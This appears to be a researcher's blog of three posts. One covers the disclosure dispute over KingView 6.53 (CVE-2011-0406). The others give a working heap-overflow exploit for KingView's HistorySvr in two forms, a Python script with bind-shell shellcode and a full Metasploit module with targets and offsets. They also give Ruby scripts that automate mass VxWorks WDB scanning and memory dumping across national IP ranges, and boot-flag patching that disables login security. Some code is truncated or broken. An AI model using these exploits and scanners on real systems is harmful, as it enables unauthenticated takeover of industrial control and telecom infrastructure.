Tuesday, January 11, 2011

WellinTech issues security patch to address the vulnerability in KingView 6.53

WellinTech released a patch addressing the heap based buffer overflow vulnerability in KingView version 6.53, what is now defined as CVE-2011-0406, according to the National Vulnerability Database (NVD).

WellinTech's vulnerability disclosure included a short paragraph about the vulnerability which was published on the Chinese version of their website and not on the English version as of December 15, 2010.

In addition, the archived patch (.rar) doesn't have any changelog or release notes, i.e., information about the security vulnerability and what issues are addressed in the patch. This is obviously not what most in the software industry would consider best practices.

In fact, the archive doesn't contain any information relating to the impact or vulnerability and there are no CNVD reference pointers, because CNVD never published anything about the vulnerability even after the patch went out. How do you explain that?

My question to WellinTech is, "Do you always issue critical software updates relating to security vulnerabilities without releasing a history of changes bundled with the patch?"

According to the response on WellinTech's website, the vulnerability was covered in about two sentences. Most of which consisted of the vendor giving all credit to the China National Vulnerability Database (CNVD), without any mention of my discovery, disclosure, and the trigger they received back in September 2010.

Even though WellinTech would rather not acknowledge that an independent security researcher discovered a critical flaw in their product, they still have a certain amount of responsibility to respond to all parties involved.

By disclosing the vulnerability to WellinTech, CN-CERT and US-CERT I am confident that I have done the right thing. I was only trying to help and assist with the issue affecting KingView. I might have prevented a catastrophic event from taking place. As an example, one need not look too far into the past to reflect on what happened with Stuxnet, which was essentially a bundle of zero-day exploits inside a worm.

In fact, just for the record, this is not the first SCADA software vulnerability I have disclosed. Sometime between 2009 and 2010, I reported a vulnerability involving a product by the software company SIELCO SISTEMI. I reported a vulnerability in the product Winlog Lite which was subsequently patched within a short period of time. The vendor responded within 10-15 days and promptly issued a patch along with a very pleasant email thanking me for reporting the bug.

I am very suspicious as to why WellinTech kept the disclosure so quiet. I believe the public will eventually start asking questions about why CN-CERT, CNVD and WellinTech were so illusive.

The vulnerability information WellinTech provided is only available in Chinese, even though they have a version in English.

Pay close attention to the path in the URL.



The Chinese version of the patch:


Where is the English version?

If the Chinese version of the patch works with the English version of KingView 6.53, then why not update the English web site?

I'm not going to let the actions of one vendor in China keep me from disclosing other vulnerabilities in the future relating to Chinese software. 

When people deserve reward, this should be duly noted even if you personally detest them. When people deserve punishment, this should not be forgone even if they are close to you...
 Mei Yaochen


10:52 PM CST 1/12/2011

As of 1/12/2011  China's National Vulnerability Database has disclosed an advisory for WellinTech's KingView 6.53 HistorySvr heap buffer overflow vulnerability.


I am very pleased to see the information is now available to the general public.

Sunday, January 9, 2011

Waking up the sleeping dragon

On September 28, 2010 I notified Beijing based WellinControl Technology Development Co.,Ltd  and CN-CERT that one of Wellintech's products had a very serious security vulnerability, and that if properly leveraged would allow an attacker to exploit the bug and execute arbitrary code. The vendor and China's National Computer Network Emergency Response Team never responded to my email or the follow up email sent out by US-CERT.  Keep in mind this is not any old software. The vulnerability affects one of the most widely trusted and used supervisory control and data acquisition applications in China.

KingView 6.53 

KingView 6.53


While I found it extremely disappointing that Wellintech never responded to my disclosure, I was far more bothered with the fact that CN-CERT never responded. What are they doing over there?

However, US-CERT responded within a few weeks of disclosing the vulnerability. US-CERT explained in the email that their team would notify the vendor and respond back with more information as it became available.

They even took the time to express appreciation in a follow up email for disclosing the vulnerability. I must admit, it would have been nice to have received a prompt response from CN-CERT at least letting me know that they received the information and would look into it...

Is this CN-CERT's standard operating procedure?  We know what happens when important security vulnerability disclosures go unaddressed for long periods of time.

Moreover, after waiting several months to see if Wellintech would quietly issue a patch to fix the security vulnerability they didn't. I made a decision to develop a working exploit with code execution to prove that this wasn't just another "software bug".

My initial disclosure to the vendor contained enough pertinent information and the proof of concept code to trigger the bug and overwrite pointers in memory thus allowing arbitrary code code execution.

Vulnerable HistorySvr.exe KingView Process Heap Overflow

What was the problem I asked myself? Why did they fail to respond? Did they want code execution? Why not just fix the vulnerability?

One of my colleagues at NSS Labs has a saying...

"It's hard to argue with a shell" -- Rick Moy

Here it is, a tiny little tcp bind shell courtesy of the Metasploit Framework

Hopefully this will be an incentive to issue a patch to all of Wellintech's customers. :-) 


## usage python exploit.py 777

import os
import socket
import sys

host = sys.argv[1]
port = int(sys.argv[2])

print " KingView 6.53 SCADA HMI Heap Smashing Exploit "
print " Credits: Dillon Beresford | twitter.com/D1N "

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,
# AutoRunScript=
buf = ("\xdd\xc4\xd9\x74\x24\xf4\x5a\x33\xc9\xbe\xeb\x5d\x85\x19"

exploit = ("\x90" * 1024 + "\x44" * 31788)
exploit += ("\xeb\x14") # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += buf

print "  [+] Herrow Sweeping Dragon..."
print "  [+] Sending payload..."

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
data = s.recv(1024)

print "  [+] Closing connection.."
print "  [+] Done!"

Metasploit Module for the KingView historysvr.exe works with XP SP3.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info={})

'Name'        => "KingView 6.53 SCADA HMI HistorySvr Heap Overflow",
'Description' => %q{
This module exploits a buffer overflow in Kingview 6.53.  By sending a specially
crafted request to port 777 (HistorySvr.exe), a remote attacker can
gain arbitrary code execution without authentication and take control of
the machine running KingView 6.53
'License'  => MSF_LICENSE,
'Version'  => "$Revision$",
'Author'      =>
'Dillon Beresford',
'References' =>
['CVE', '2011-0406'],
['OSVDB', '70366'],
['Bugtraq', '45727'],
['URL', 'http://www.exploit-db.com/exploits/15957'],
['URL', 'http://www.kb.cert.org/vuls/id/180119'],
['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
'DefaultOptions' =>
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
'Payload' =>
'Space'    => 12000,
'BadChars' => "\x00\x0d\x0a\xff",
'StackAdjustment' => -3500,
'Platform' => 'win',
'Targets' =>
[ 'Windows XP SP3 ENG',
'Ret' =>   0x7c997ca9, # ntdll.dll jmp ecx
'Offset' => 31752, # method by D1N
[ 'Windows XP SP3 ENG 2',
'Ret' => 0x7C9A432B, # ntdll.dll jmp ecx
'Offset' => 31752, # method by rick2600
[ 'Windows XP SP1 ENG',
'Ret' => 0x77ED73B4, # UnhandledExceptionFilter() in kernel32.dll
'Offset' => 31788,
[ 'Debug',
'Ret' => 0x41424344, # Debug
'Offset' => 31788,

'DisclosureDate' => "9/28/2010",
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(777) ], self.class )

def exploit
sploit = ''

if target.name =~ /XP SP3 ENG/
sploit = make_nops(1024)
sploit << payload.encoded
sploit <<  rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << Rex::Arch::X86.jmp_short(4)
sploit << make_nops(6)
sploit << "\xe9\x08\x80"
sploit << "\xff\xff"

elsif target.name =~ /XP SP3 ENG 2/
sploit = "\x90" * 1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')
sploit << "\x00"  # PAD
sploit << "\x81\xE9\x08\x80\x00\x00" # SUB ECX,0x8008
sploit << "\xFF\xE1" # JMP ECX

elsif target.name =~ /XP SP1 ENG/
#rick2600 and d1n
sploit << "\x90"*1024
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << "\xEB\x10"
sploit << "\x41"*6
sploit << "\xAD\xBB\xC3\x77"
sploit << [target.ret].pack('V')
sploit << "\x90"*8
sploit << payload.encoded
sploit << "\x44"*1000-sploit.length

elsif target.name =~ /Debug/

sploit << "\x90"*1024
sploit << payload.encoded
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
sploit << [target.ret].pack('V')







Or you can grab it from Exploit-DB

At the time of this blog post, the vulnerable SCADA software is still available on Wellintech's website for download and presumably running at various critical infrastructure sites in CHINA. I have recently contacted US-CERT again, but this time through my employer just to check if the vendor had responded, the folks from US-CERT told me they still hadn't received any response from Wellintech.

At this point the only thing left for me to do was share the information with the security community and send it over to the good people at Exploit-DB.

A special thanks to the guys over at Metasploit for their handy rapid exploit development modules and some brave souls like David Litchfield, Dave Aitel and Steven Seeley who have sacrificed countless hours of time writing up tutorials on heaps. :-)

I'm not sure whats worse, a 0day for the most popular SCADA software in China floating around in the wild or a team of security professionals from China's CERT sleeping behind the wheel.


Friday, August 6, 2010

Metasploit VxWorks WDB Agent Attack Automation

In CHINA pwnage is still called pwnage.

CERT published multiple advisories this week for the VxWorks operating system. The information can be found here VU#362332 and VU#840249. If you want more information on the Metasploit exploitation process visit this awesomeness posted on the Metasploit blog.

A few things you should know about the exploit.

The VxWorks debug service runs on port 17185 (UDP).

An attacker can execute the following attacks without any authentication required while maintaining a certain level of stealthiness.

  1. Remote memory dump
  2. Remote memory patch
  3. Remote calls to functions
  4. Remote task management
Go big or go home...
In June, I started testing some of the VxWorks WDB Metasploit modules HD put together. My initial goal was to look at other possible vectors of exploitation, i.e., the boot flag manipulation. We discussed this at BSidesLasVegas and Defcon. The next goal was to write my own exploit for a specific product.

The twenty-flag (0x20) as I like to call it disables login security for VxWorks devices. The amazing thing about changing flags is the fact that it survives a soft reset. I did have some trouble on a few devices. The offset for the flags can vary depending on the hardware version of the device.

In addition, if you decide to write a VxWorks wdbrpc exploit make sure you add a function to check the version by reading from memory first to identify the target so you can patch at the correct offset. If not your module might be prone to errors. See the dlink_i2eye_autoanswer module for a good example on adding multiple targets.

The following image shows the delta between two Huawei IAD (Integrated Access Device) memory dumps. The first displays the boot flag before the change and the other after the exploit.

Huawei IAD2 boot flags.
  • 0x02 -load local system symbols 
  • 0x04 -don't autoboot
  • 0x08 -quick autoboot(no countdown) 
  • 0x20 -disable login security 
  • 0x40 -use bootpto get boot parameters
  • 0x80 -use tftpto get boot image 
  • 0x100 -use proxy arp

Now, if we add one line of ruby code to the end of our exploit module we can issue a soft reset to the vulnerable device after a remote patch with new unlocked features enabled at next boot! #FTW

While a soft reset isn't always necessary and can cause unwanted attention especially during a penetration test or a live exercise, it is unfortunately necessary when manipulating boot flags so remember to use with care.

We can also locate other devices on the LAN, change tftp parameters, backdoor a device and obviously cause unwanted interference.

Depending on the target, you may be able to unlock, disable or enable certain functionality, on most devices running the VxWorks WDB agent.

What does the data look like?

A few examples of the exploit might allow you to write your name on Mars or even shut down 60% of two of the largest telecommunication companies in CHINA, specifically CHINA Telecom and CHINA UNICOM.

I ran a smoke test for approximately 24 hours using the Metasploit framework in a cloud computing environment. Just to give you an example, a single vulnerable device might very well include a telecommunication switch providing access to a backbone for an entire province within a country or even several interconnected core routes. In other words, don't let the number of vulnerable devices dictate the importance of the results. I also performed a simple whois query on the results, I was then able to parse the location data and map out various flash-points.

How can I automate the scanning process in Metasploit?

It's actually very simple. Feel free to modify the script to your own liking. Its more of a proof of concept to show others how simple it is to automate Metasploit.

Taking over the internetz in 3 easy steps.

1. Install Metasploit

2. Add your targets to a host list.

3. run the script.

Moreover, the script is also useful if you want to automate the memory dump process after all of your scans are complete. The dump process can take a very long time which is exactly why automation is so important.

Just change the output for vxworks.rc to the memory dump module and assign the dump name ( LPATH ) to include the #{line} variable ( this would be the target IP in hosts.log ) the result is the target appended to the vxworks_memory.dmp 

No worries... I've done it for you! :)

VxWorks WDB Agent AutoScan


# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
    text = File.read file
    File.open(file,'w+'){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}

# Removes last IP block from list.
def RemoveLine()
    log = "hosts.log"
    text = ''
    File.open(log,"w+"){|f| f.write(text)}


    f = File.open('hosts.log')
    f.each do |line|

    puts "Target: #{line}"
    system("touch vxworks.rc")
    m = File.open('vxworks.rc', 'w') do |m|
    m.puts "db_driver sqlite3"
    m.puts "db_connect scandb"
    m.puts "use scanner/vxworks/wdbrpc_version"
    m.puts "set RHOSTS "
    m.puts "run"
    m.puts "exit"


    SwapRHOSTS('vxworks.rc', /set RHOSTS/, "set RHOSTS #{line}".chomp)
    system("msfconsole -r vxworks.rc")



VxWorks WDB Agent AutoDump

# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
    text = File.read file
    File.open(file,'w+'){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}

# Removes last IP block from list.
def RemoveLine()
    log = "hosts.log"
    text = ''
    File.open(log,"w+"){|f| f.write(text)}


    f = File.open('hosts.log')
    f.each do |line|

    puts "Target: #{line}"
    system("touch vxworks.rc")
    m = File.open('vxworks.rc', 'w') do |m|
    m.puts "db_driver sqlite3"
    m.puts "db_connect scandb"
    m.puts "use admin/vxworks/wdbrpc_memory_dump"

    m.puts "set LPATH /tmp/vxworks_memory_"+"#{line}".chomp
    m.puts "set RHOST "
    m.puts "run"
    m.puts "exit"


    SwapRHOSTS('vxworks.rc', /set RHOST/, "set RHOST #{line}".chomp)
    system("msfconsole -r vxworks.rc")



Here is a decent starting point for some passive reconnaissance.

Korea CIDR

China CIDR

India CIDR

Russia CIDR

Turkey CIDR

Viet Nam CIDR

Ukraine CIDR

Brazil CIDR

Venezuela CIDR

Pakistan CIDR

I'm not a Ruby developer. I just picked it up a few months ago. The automation is quick and dirty but it should get the job done.

In terms of new exploits for different types of vendor specific products Wind River has opened up Pandora's box, not the researchers.

It was a true honor to be a part of such an exciting research project.